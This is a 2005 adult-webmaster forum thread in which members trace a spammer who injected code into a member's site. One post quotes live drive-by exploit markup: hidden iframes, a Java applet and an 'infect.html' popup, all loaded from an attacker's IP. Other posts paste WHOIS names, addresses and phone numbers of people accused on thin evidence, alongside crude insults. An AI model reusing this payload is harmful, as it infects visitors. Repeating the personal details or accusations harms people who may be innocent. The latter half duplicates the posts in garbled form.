Reward to who ever can find out more about this fuckface - GoFuckYourself.com

crackerboy · 03-07-2005, 12:21 AM

DONT CLICK ON THE LINK ITS FULL OF POPUPS AND SPYWARE

http://www.tracktraff.cc/cnt/processor?reddevil

That code has appeared 3 times now on a mgp that i run with a freind of mine, he took away the atx code and replaced it with his
and is right now hitboting the shit out of the site with aprox 10-20k per hour of shit hits with a 6% prod

Our tech at extremerack showed us the logs nobody has edited the site exept them

and atx dev didn't fix yet the ip section of the script so we cant really do anything there

and in comus there is only 2 ips mine and my freinds so he dident change it from there

so after changing all passes 2 times he still managed to place the code back on the site 2 times

so how the fuck is he doing it?

i need to know who the fuck runs that shit a ip a adress or whatever
and a reward will be yours for it
so if anybody knows that reff or anything please contact me on icq
at 339264329

reynold · 03-07-2005, 12:23 AM

Thanks for the info.

crackerboy · 03-07-2005, 12:25 AM

Np be aware of this fucker
he will fuck your site up totaly

hydro · 03-07-2005, 01:55 AM

these types of fuckers really ruin it for everybody else

OG LennyT · 03-07-2005, 01:59 AM

probably Russian.. fuckin douchebag

SmokeyTheBear · 03-07-2005, 02:03 AM

call out aff and get them to tell you exactly who it is..

http://iframe.adultfriendfinder.com/...frame.jsp?Pid=p35541

crackerboy · 03-07-2005, 02:06 AM

did you find that code on that page mate??

SmokeyTheBear · 03-07-2005, 02:06 AM

Not saying he is guilty but

a-137.com

Tyshawn Riddles ()
Salcedo St. 35 93
CHARLOTTE
NC,28245
US
Tel. +1.7048365653

SmokeyTheBear · 03-07-2005, 02:08 AM

Quote:

Originally Posted by crackerboy

did you find that code on that page mate??

yes its exploits on the page he runs them off his own server so its not a hack.

<iframe src='http://195.225.177.27/cb30a1fc/counter.gif' frameborder='0' width='1' height='1' scrolling='no'></iframe>
<APPLET ARCHIVE="archive.jar" codebase="http://195.225.177.27/cb30a1fc/" CODE="BlackBox.class" WIDTH=1 HEIGHT=1><param name="fontName" value="cb30a1fc"></APPLET>
<object data="/cb30a1fc/go.php"></object>
<iframe src='http://195.225.177.27/cb30a1fc/test.php' frameborder='0' width='1' height='1' scrolling='no' name=counter></iframe>
<script>
window.open("http://195.225.177.27/cb30a1fc/infect.html","_blank","left=5000");
</script>
<center>
<iframe
src="http://iframe.adultfriendfinder.com/promo/affiframe.jsp?Pid=p35541&BGColor=99CCFF&TextColor= 000000&LinkColor=0000ff&Num=3" scrolling="No" align="MIDDLE" width="700" height="320"
frameborder="No"></iframe>

same aff code is found on the above page

crackerboy · 03-07-2005, 02:09 AM

very nicely done will contact them asap and see what they can thell me

SmokeyTheBear · 03-07-2005, 02:11 AM

I cant see any legit reason to run spyware on a page along with aff code . And because the exploits are on the same server i dont think its possible he was hacked ( because thats always a possibility )

SmokeyTheBear · 03-07-2005, 02:13 AM

Like sometimes a site is hacked and injected with an exploit , but it turns out the person doesnt know , and he may try to use this as an excuse , but i wouldnt buy it , the exploits are pointed back to his own server not an external one , so unless the hacker exploited the site and installed several directories and exploits , then its that guy.

AsianDivaGirlsWebDude · 03-07-2005, 02:13 AM

Quote:

Originally Posted by dvd316

probably Russian.. fuckin douchebag

Just read this thread. OMG, the Russians have landed in Charlotte, NC...

LAUNCH ALL MISSILES!!!

BTW, what's Smokey The Bear's reward?

ADG Webmaster

hydro · 03-07-2005, 02:14 AM

oh yea, email at the bottem says [email protected]

SmokeyTheBear · 03-07-2005, 02:15 AM

Heres an interesting link for you.

http://www.ustreas.gov/usss/forms/form_ssf4017.pdf

Send him a copy of that filled out with all his info.

Then make him recoup the damage he cost.

SmokeyTheBear · 03-07-2005, 02:16 AM

Quote:

Originally Posted by AsianDivaGirlsWebDude

Just read this thread. OMG, the Russians have landed in Charlotte, NC...

LAUNCH ALL MISSILES!!!

BTW, what's Smokey The Bear's reward?

ADG Webmaster

Heh good bears dont need rewards

Thanks for the help though..

Xplicit · 03-07-2005, 02:16 AM

Yeah odds are its not a U.S. or Canadian webmaster.

SmokeyTheBear · 03-07-2005, 02:18 AM

Quote:

Originally Posted by Xplicit

Yeah odds are its not a U.S. or Canadian webmaster.

He seems american.. The domain is owned by an american.. The html seems american, his sites seem made by an american. * could be wrong though

Then again..

Domain Name: RUNSEARCH.COM
Administrative Contact:
Jordan Anrew [email protected]
PO BOX 2014
Novomoskovsk Ru -
RU
7.5017000206

SmokeyTheBear · 03-07-2005, 02:22 AM

LOL this guy should be shot , he has a long history of this..

http://bbs.adultwebmasterinfo.com/sh...threadid=56578

and cool web search trojans..

http://www.webhelper4u.com/CWS/cwswhoisinfo.html

AlienQ - BANNED FOR LIFE · 03-07-2005, 02:23 AM

Quote:

Originally Posted by SmokeyTheBear

Not saying he is guilty but

a-137.com

Tyshawn Riddles ()
Salcedo St. 35 93
CHARLOTTE
NC,28245
US
Tel. +1.7048365653

WOw thats like D. Stodgil Territory, if its him HOLY SHIT, there will be some deep south beating for real.

JFPdude · 03-07-2005, 02:24 AM

Administrative Contact:
Medvedeva, Ioulia [email protected]
8130 SW Beaverton-Hillsdale
Portland, OR 97225
US
8666400126

SmokeyTheBear · 03-07-2005, 02:26 AM

Quote:

Originally Posted by AlienQ

WOw thats like D. Stodgil Territory, if its him HOLY SHIT, there will be some deep south beating for real.

well the one thing in common with all the pages is they ALL have the same adultfriendfinder code , and it has been up for at least a few paychecks , so they know EXACTLY who he is.. they have reps on gfy hopefuly they see this.

AlienQ - BANNED FOR LIFE · 03-07-2005, 02:30 AM

AFF is good folks to, they will nuke em.

JFPdude · 03-07-2005, 02:35 AM

There is 3 viruses and 2 trojans throughout this code.

Make sure you are up to date virus wise when checking into this.

facialfreak · 03-07-2005, 02:36 AM

Hey Crackerboy ... I never heard back from you regarding what we were talking about last week ... Please let me know how things are going. Thanks!

FF

JFPdude · 03-07-2005, 02:37 AM

Smokey I am coming up with all your findings ... in reference to it being D. Stoghill I don't think that scammer is smart enough for this.

I could be wrong though. This just isn't his M.O.

wargames · 03-07-2005, 02:37 AM

Thanks for the warning.

SmokeyTheBear · 03-07-2005, 02:42 AM

btw i called that number its not in service..

JFPdude · 03-07-2005, 02:46 AM

Quote:

Originally Posted by SmokeyTheBear

btw i called that number its not in service..

Yeah I been doing reverse lookups here in North Carolina seems like that phone has been out of commision for some time.

AsianDivaGirlsWebDude · 03-07-2005, 02:47 AM

Seriously, it's messed up that people deliberately and malisciously do stuff like that.

I signed up to GFY awhile back, but I've only recently begun participating. Some of the BS, drama, and superfluous nonsense I can live without, however I am impressed at the readiness of people to come to the aid of other's and lend their skills when it's requested.

Bravo Zulu for that!

Let us know when you bring the redneck/Russian (or maybe it's a redneck Russian) to justice.

ADG Webmaster

SmokeyTheBear · 03-07-2005, 02:49 AM

hmm this guy is slick , has good domains too http://www.hotbookmark.com/

JFPdude · 03-07-2005, 02:53 AM

AEBN aff # = AEBN007969

SmokeyTheBear · 03-07-2005, 02:54 AM

searchv.com

JFPdude · 03-07-2005, 02:55 AM

Ifriends aff = extron

SmokeyTheBear · 03-07-2005, 03:20 AM

hmm this domain might also be part of it

BEDROOMFUCK.NET dont know what directnic is on that for

and
midnightporn.net

SmokeyTheBear · 03-07-2005, 03:27 AM

im getting askjolene popups also on some domains

http://search.askjolene.com/search?q...ia=pic&aid=955

edit , its http://www.fpcTraffic2.com/raw/click...omaven&track=A popup that uses askjolene sorry

SmokeyTheBear · 03-07-2005, 03:30 AM

duplicate askjolene accounts
955 & 956

mardigras · 03-07-2005, 03:38 AM

Quote:

Originally Posted by SmokeyTheBear

hmm this domain might also be part of it

BEDROOMFUCK.NET dont know what directnic is on that for

That's Directnic's standard parking page once you enter. The warning entry page is automatic because the domain has "fuck" in it and the Directnic parking page has explicit links on it. This would be a domain that has never had an index page uploaded.

SGS · 03-07-2005, 03:38 AM

Smokey, could you please hit John up on ICQ: 8 8 9 5 7 1 6 0 or support 'at' fetish-video-cash.com

Would like to ask you something if possible?

Thanks

jamesonxx · 03-07-2005, 03:51 AM

Thanks for warning us pal.

crackerboy · 03-07-2005, 03:57 AM

however it must be a hack
our ssi atx code was replaced...an iframe is an iframe...but an ssi code is an ssi code
he cant do that with a exploid he needs acces to change that shit ftp, shell htacess
god knows

crackerboy · 03-07-2005, 03:58 AM

and smokey hit me up on icq please for your great work

pradaboy · 03-07-2005, 04:22 AM

kudos to Smokey and JFP for tracking all this shit. I'm sure AFF will do everything in their power to get this guy.

Mike Dutch · 03-07-2005, 04:46 AM

Quote:

Originally Posted by SmokeyTheBear

im getting askjolene popups also on some domains

http://search.askjolene.com/search?q...ia=pic&aid=955

edit , its http://www.fpcTraffic2.com/raw/click...omaven&track=A popup that uses askjolene sorry

Damn, we buy traffic form him, I'll contact him .
We already saw that the productivity was low.

gangbangjoe · 03-07-2005, 04:50 AM

thanks for the info

crackerboy · 03-07-2005, 04:57 AM

Damn this turned out to be some huge shit hmm

crackerboy · 03-07-2005, 07:29 AM

Bump
Bump

ravo · 03-07-2005, 07:53 AM

fpctraffic.com is my domain, and yes, we are sending some traffic to askjolene from our affiliate program.

This is my guess as to what's going on: The traffic going to askjolene is from one of our legit affiliates at fpctraffic, account name = neomaven.

I have contacted neomaven to find out what's going on. I suspect that he has purchased traffic from the guy that runs that shit site with the exploits. I've known about this guy (name = extron) for a while. He tried to sell us traffic about a year ago, but it was all crap. He's a russian scumbag.
Askjolene (and anyone else getting this traffic) obviously will not have to pay for those crap popunders.

edit: typos!

Spunky · 03-07-2005, 07:56 AM

Smokey to the rescue...good job

Lee · 03-07-2005, 08:00 AM

That name rings a bell from a couple of years back. Possibly from domaining...

03-07-2005, 12:21 AM	#1
crackerboy Confirmed User Join Date: Sep 2002 Location: Sweden Posts: 1,462	Reward to who ever can find out more about this fuckface DONT CLICK ON THE LINK ITS FULL OF POPUPS AND SPYWARE http://www.tracktraff.cc/cnt/processor?reddevil That code has appeared 3 times now on a mgp that i run with a freind of mine, he took away the atx code and replaced it with his and is right now hitboting the shit out of the site with aprox 10-20k per hour of shit hits with a 6% prod Our tech at extremerack showed us the logs nobody has edited the site exept them and atx dev didn't fix yet the ip section of the script so we cant really do anything there and in comus there is only 2 ips mine and my freinds so he dident change it from there so after changing all passes 2 times he still managed to place the code back on the site 2 times so how the fuck is he doing it? i need to know who the fuck runs that shit a ip a adress or whatever and a reward will be yours for it so if anybody knows that reff or anything please contact me on icq at 339264329 __________________ Join NaughtyAmerica - Several hundred of fresh FHG for your TGP or MGP - and they pay by Epassporte CLICK HERE TO JOIN NOW Last edited by crackerboy; 03-07-2005 at 12:22 AM..

03-07-2005, 12:25 AM	#3
crackerboy Confirmed User Join Date: Sep 2002 Location: Sweden Posts: 1,462	Np be aware of this fucker he will fuck your site up totaly __________________ Join NaughtyAmerica - Several hundred of fresh FHG for your TGP or MGP - and they pay by Epassporte CLICK HERE TO JOIN NOW

03-07-2005, 01:59 AM	#5
OG LennyT Wall Street Pimp Industry Role: Join Date: Jun 2003 Location: Phoenix, AZ Posts: 14,345	probably Russian.. fuckin douchebag __________________ Tradeking - my online broker \| 4.95 a trade \| make real $$

03-07-2005, 02:03 AM	#6
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	call out aff and get them to tell you exactly who it is.. http://iframe.adultfriendfinder.com/...frame.jsp?Pid=p35541 __________________ hatisblack at yahoo.com

03-07-2005, 02:06 AM	#7
crackerboy Confirmed User Join Date: Sep 2002 Location: Sweden Posts: 1,462	did you find that code on that page mate?? __________________ Join NaughtyAmerica - Several hundred of fresh FHG for your TGP or MGP - and they pay by Epassporte CLICK HERE TO JOIN NOW

03-07-2005, 12:23 AM	#2
reynold Too lazy to set a custom title Join Date: Oct 2002 Location: Global Traveler Posts: 51,271	Thanks for the info.

03-07-2005, 01:55 AM	#4
hydro Confirmed User Join Date: Dec 2003 Location: Dirty 3rd Posts: 4,216	these types of fuckers really ruin it for everybody else

03-07-2005, 02:09 AM	#10
crackerboy Confirmed User Join Date: Sep 2002 Location: Sweden Posts: 1,462	very nicely done will contact them asap and see what they can thell me __________________ Join NaughtyAmerica - Several hundred of fresh FHG for your TGP or MGP - and they pay by Epassporte CLICK HERE TO JOIN NOW

03-07-2005, 02:11 AM	#11
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	I cant see any legit reason to run spyware on a page along with aff code . And because the exploits are on the same server i dont think its possible he was hacked ( because thats always a possibility ) __________________ hatisblack at yahoo.com

03-07-2005, 02:13 AM	#12
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	Like sometimes a site is hacked and injected with an exploit , but it turns out the person doesnt know , and he may try to use this as an excuse , but i wouldnt buy it , the exploits are pointed back to his own server not an external one , so unless the hacker exploited the site and installed several directories and exploits , then its that guy. __________________ hatisblack at yahoo.com

03-07-2005, 02:14 AM	#14
hydro Confirmed User Join Date: Dec 2003 Location: Dirty 3rd Posts: 4,216	oh yea, email at the bottem says [email protected]

03-07-2005, 02:15 AM	#15
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	Heres an interesting link for you. http://www.ustreas.gov/usss/forms/form_ssf4017.pdf Send him a copy of that filled out with all his info. Then make him recoup the damage he cost. __________________ hatisblack at yahoo.com

03-07-2005, 02:16 AM	#17
Xplicit Confirmed User Join Date: May 2003 Location: █◄►█ Posts: 3,558	Yeah odds are its not a U.S. or Canadian webmaster.

03-07-2005, 02:22 AM	#19
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	LOL this guy should be shot , he has a long history of this.. http://bbs.adultwebmasterinfo.com/sh...threadid=56578 and cool web search trojans.. http://www.webhelper4u.com/CWS/cwswhoisinfo.html __________________ hatisblack at yahoo.com

03-07-2005, 02:24 AM	#21
JFPdude Confirmed User Join Date: Jan 2002 Location: Mountains of Western North Carolina. Posts: 4,027	Administrative Contact: Medvedeva, Ioulia [email protected] 8130 SW Beaverton-Hillsdale Portland, OR 97225 US 8666400126

03-07-2005, 02:30 AM	#23
AlienQ - BANNED FOR LIFE best designer on GFY Join Date: Mar 2003 Location: IALIEN.COM - High Definition Video and Photographic Productions -ICQ 78943384 Posts: 30,307	AFF is good folks to, they will nuke em. __________________ NAKED HOSTING FTW!11 I'm On The INSANE PLAN $9.95/mo! \| The Alien Blog Adult News Worth Reading Updated Daily \| Content For Sale! 641 PICS 216 MINUTES OF VIDEO $350.00 \|ICQ: 78943384 \|

03-07-2005, 02:35 AM	#24
JFPdude Confirmed User Join Date: Jan 2002 Location: Mountains of Western North Carolina. Posts: 4,027	There is 3 viruses and 2 trojans throughout this code. Make sure you are up to date virus wise when checking into this.

03-07-2005, 02:36 AM	#25
facialfreak Confirmed User Join Date: Feb 2005 Location: Montreal Posts: 3,018	Hey Crackerboy ... I never heard back from you regarding what we were talking about last week ... Please let me know how things are going. Thanks! FF __________________ Managed Shared Hosting starting at $4.99/mo Managed VPS starting at $29.99/mo

03-07-2005, 02:37 AM	#26
JFPdude Confirmed User Join Date: Jan 2002 Location: Mountains of Western North Carolina. Posts: 4,027	Smokey I am coming up with all your findings ... in reference to it being D. Stoghill I don't think that scammer is smart enough for this. I could be wrong though. This just isn't his M.O.

03-07-2005, 02:37 AM	#27
wargames Kliris Join Date: May 2003 Location: ca Posts: 10,423	Thanks for the warning. __________________ ICQ 212-115-582 Email Steve at Vas Media Group .com

03-07-2005, 02:42 AM	#28
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	btw i called that number its not in service.. __________________ hatisblack at yahoo.com

03-07-2005, 02:47 AM	#30
AsianDivaGirlsWebDude Purveyor, Fine Asian Porn Industry Role: Join Date: Jul 2004 Location: San Francisco Bay Area Posts: 38,323	I Love A Good Mystery... Seriously, it's messed up that people deliberately and malisciously do stuff like that. I signed up to GFY awhile back, but I've only recently begun participating. Some of the BS, drama, and superfluous nonsense I can live without, however I am impressed at the readiness of people to come to the aid of other's and lend their skills when it's requested. Bravo Zulu for that! Let us know when you bring the redneck/Russian (or maybe it's a redneck Russian) to justice. ADG Webmaster __________________ Asian Diva Girls - Exclusive Photos and Videos Asian Diva Girls Affiliate Program (50% ccBill Revshare)

03-07-2005, 02:49 AM	#31
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	hmm this guy is slick , has good domains too http://www.hotbookmark.com/ __________________ hatisblack at yahoo.com

03-07-2005, 02:53 AM	#32
JFPdude Confirmed User Join Date: Jan 2002 Location: Mountains of Western North Carolina. Posts: 4,027	AEBN aff # = AEBN007969

03-07-2005, 02:54 AM	#33
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	searchv.com __________________ hatisblack at yahoo.com

03-07-2005, 02:55 AM	#34
JFPdude Confirmed User Join Date: Jan 2002 Location: Mountains of Western North Carolina. Posts: 4,027	Ifriends aff = extron

03-07-2005, 03:20 AM	#35
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	hmm this domain might also be part of it BEDROOMFUCK.NET dont know what directnic is on that for and midnightporn.net __________________ hatisblack at yahoo.com

03-07-2005, 03:27 AM	#36
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	im getting askjolene popups also on some domains http://search.askjolene.com/search?q...ia=pic&aid=955 edit , its http://www.fpcTraffic2.com/raw/click...omaven&track=A popup that uses askjolene sorry __________________ hatisblack at yahoo.com Last edited by SmokeyTheBear; 03-07-2005 at 03:29 AM..

03-07-2005, 03:30 AM	#37
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	duplicate askjolene accounts 955 & 956 __________________ hatisblack at yahoo.com

03-07-2005, 03:38 AM	#39
SGS Confirmed User Industry Role: Join Date: Dec 2002 Location: Mallorca - Nottingham Posts: 5,176	Smokey, could you please hit John up on ICQ: 8 8 9 5 7 1 6 0 or support 'at' fetish-video-cash.com Would like to ask you something if possible? Thanks __________________ See sig...

03-07-2005, 03:51 AM	#40
jamesonxx Confirmed User Join Date: Dec 2003 Posts: 758	Thanks for warning us pal. __________________

03-07-2005, 03:57 AM	#41
crackerboy Confirmed User Join Date: Sep 2002 Location: Sweden Posts: 1,462	however it must be a hack our ssi atx code was replaced...an iframe is an iframe...but an ssi code is an ssi code he cant do that with a exploid he needs acces to change that shit ftp, shell htacess god knows __________________ Join NaughtyAmerica - Several hundred of fresh FHG for your TGP or MGP - and they pay by Epassporte CLICK HERE TO JOIN NOW

03-07-2005, 03:58 AM	#42
crackerboy Confirmed User Join Date: Sep 2002 Location: Sweden Posts: 1,462	and smokey hit me up on icq please for your great work __________________ Join NaughtyAmerica - Several hundred of fresh FHG for your TGP or MGP - and they pay by Epassporte CLICK HERE TO JOIN NOW

03-07-2005, 04:22 AM	#43
pradaboy sell me your banners Industry Role: Join Date: Dec 2003 Location: on the tubes Posts: 12,931	kudos to Smokey and JFP for tracking all this shit. I'm sure AFF will do everything in their power to get this guy. __________________ Media Buyer - Sell me your traffic! FREE to register domains... Better than 99% of the crap sold here!

03-07-2005, 04:50 AM	#45
gangbangjoe Ronin Join Date: May 2004 Location: Live by the code Die by the code Posts: 17,693	thanks for the info __________________ NichePay - $30 on all trials - Killer Ratios .................................................. Female Ejaculation - Hairy - Shemale Puffy Nipples - Huge Clits - And More! ..................................................